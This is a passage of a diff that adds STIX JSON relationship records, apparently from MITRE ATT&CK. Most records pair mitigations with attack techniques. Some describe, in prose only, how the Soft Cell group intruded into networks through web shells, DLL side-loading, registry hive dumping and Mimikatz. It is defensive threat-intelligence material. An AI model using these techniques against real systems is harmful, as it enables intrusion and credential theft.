"attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use and unauthenticated network share access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T19:25:59.028Z", + "id": "relationship--7af04b3a-b7ca-4dc1-a085-6e09a0505adc", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-18T19:27:00.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db", + "description": "Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T19:25:59.052Z", + "id": "relationship--3ab77e56-51b4-4e05-b16e-46befadbd69d", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T19:27:00.983Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "acunetix Server Secuirty", + "description": "Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.", + "url": "https://www.acunetix.com/websitesecurity/webserver-security/" + }, + { + "source_name": "NIST Server Security July 2008", + "description": "Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.", + "url": "https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T19:28:08.542Z", + "id": "relationship--869f816b-a02b-453b-9b52-1620ac82412d", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T19:28:08.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) exploited a publicly-facing server to gain access to the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T20:47:50.147Z", + "id": "relationship--ad60e0be-02a4-4f79-a81d-afdde78492be", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Ensure proper system and access isolation for critical network systems through use of multi-factor authentication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T20:58:45.951Z", + "id": "relationship--c869db21-9c91-4449-b316-408bcab56e1b", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-07-18T21:34:47.458Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used DLL side-loading to covertly load [PoisonIvy](https://attack.mitre.org/software/S0012) into memory on the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:12:51.526Z", + "id": "relationship--3b523bd9-ffc2-4525-a08c-4500bfcb2fed", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.779Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) leveraged valid accounts to maintain access to a victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:12:51.535Z", + "id": "relationship--1a849525-ee44-4c28-86b2-fe883c45dc79", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) created rogue, high-privileged domain user accounts to maintain access across waves of a compromise.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:12:51.544Z", + "id": "relationship--433ccc4b-5a1f-49e2-9517-f8f899646cab", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used Web shells to persist in victim environments and assist in execution and exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:12:51.554Z", + "id": "relationship--626697e3-0d05-4081-aa11-61280a502249", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.841Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:12:51.556Z", + "id": "relationship--8698cc92-79ad-46c4-9cb8-30ef87a8d760", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.861Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:12:51.570Z", + "id": "relationship--402e9430-9d3a-4694-89ca-923dab3fba26", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.864Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used the Windows command shell to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:12:51.573Z", + "id": "relationship--15a8c4ba-f86d-4b2f-a0c7-9390d22dbd4e", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.865Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Ensure proper system and access isolation for critical network systems through use of group policy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:16:43.793Z", + "id": "relationship--147b8bb5-ca4e-455e-a5b9-f0ab118c67eb", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "modified": "2019-07-18T21:34:47.460Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "Filter network traffic to prevent use of protocols across the network boundary that are unnecessary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:18:02.951Z", + "id": "relationship--9acd9add-9b08-45dd-8135-98e62eb708e2", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-10T15:57:52.603Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "Web proxies can be used to enforce external network communication policy that prevents use of unauthorized external services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:21:18.293Z", + "id": "relationship--970635e8-9767-4654-b6ff-e1cd12bc206e", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-07-18T21:21:18.293Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "description": "Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required. Ensure proper system and access isolation for critical network systems through use of account privilege separation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:33:37.812Z", + "id": "relationship--0dfd9bcd-f9e2-44c1-9d87-07c626644561", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-18T21:34:47.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-18T21:45:05.185Z", + "id": "relationship--541884aa-9ee9-4241-b556-c7885c12102b", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-10-18T15:19:13.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:30:22.451Z", + "id": "relationship--8f09085f-c1cf-4321-89c4-17d93e774f6f", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-25T19:04:11.617Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.", + "source_name": "TechNet Scheduling Priority", + "url": "https://technet.microsoft.com/library/dn221960.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:30:22.462Z", + "id": "relationship--63c9cdd8-0e64-46dd-9459-3d64828b0cc7", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-07-25T19:04:11.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", + "source_name": "TechNet Server Operator Scheduled Task", + "url": "https://technet.microsoft.com/library/jj852168.aspx" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:30:22.477Z", + "id": "relationship--9d4e8b44-90f8-4a10-8419-8187d4babf24", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-07-25T19:04:11.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:30:22.479Z", + "id": "relationship--1d50b715-96a2-4fd6-bf92-603ad90730fd", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-07-25T19:04:11.639Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:34:28.783Z", + "id": "relationship--af1e6f67-b513-42f7-b5df-dfb04b38caf6", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "modified": "2019-07-19T14:34:28.783Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:35:12.517Z", + "id": "relationship--f8bb44c8-d368-4d56-b039-50d6419ab60a", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "modified": "2019-07-19T14:35:12.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:35:44.004Z", + "id": "relationship--bb402b5a-2ee4-4031-93a5-dae262794974", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "modified": "2019-07-19T14:35:44.004Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:36:10.807Z", + "id": "relationship--b433b9bf-2b2e-4ceb-bb5e-aa8e6d099b34", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "modified": "2019-07-19T14:36:10.807Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:36:43.856Z", + "id": "relationship--f5f3803b-3c9c-4eb9-812b-f0bbc78232ba", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "modified": "2019-07-19T14:36:43.856Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:37:37.517Z", + "id": "relationship--f9e62f6d-a091-44a9-91e6-3660b89ba2b9", + "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", + "modified": "2019-07-19T14:37:37.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "Consider disabling embedded files in Office programs, such as OneNote, that do not work with Protected View.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:42:04.467Z", + "id": "relationship--e93b22f5-2df4-49d7-bf4b-985919028e4e", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-07-24T17:34:39.094Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Enigma Reviving DDE Jan 2018", + "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", + "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee" + }, + { + "source_name": "GitHub Disable DDEAUTO Oct 2017", + "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.", + "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "description": "Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:43:31.139Z", + "id": "relationship--d2bad46d-7e0c-4b22-9859-172892a2d861", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-07-19T14:57:15.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "description": "HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:44:30.772Z", + "id": "relationship--7ad8dd5d-06f6-47b1-874a-8a4e7fc39ba5", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-07-19T14:57:15.786Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Wikipedia HPKP", + "description": "Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.", + "url": "https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "description": "For the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:45:29.007Z", + "id": "relationship--f6f38033-ddd4-418a-ad70-b1198df67fc3", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-10-08T21:10:31.829Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Office Test Sofacy", + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", + "description": "Avoid PowerShell profiles if not needed. Use the -No Profile flag with when executing PowerShell scripts remotely to prevent local profiles and scripts from being executed. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:46:24.387Z", + "id": "relationship--b10a7101-9e17-4ff0-bbdf-3e732f8f4547", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-07-19T14:57:15.806Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "description": "[Execution Guardrails](https://attack.mitre.org/techniques/T1480) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:59:44.180Z", + "id": "relationship--20cc9dc5-61ad-4fbb-86da-4861e60b98e4", + "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", + "modified": "2019-07-23T14:44:24.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used reg commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T16:38:05.288Z", + "id": "relationship--1a28a0a2-8e2f-4c42-b6b0-0ffe3d821528", + "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "modified": "2019-07-22T15:49:28.862Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", + "source_name": "Cybereason Soft Cell June 2019", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) along with a PowerShell-based 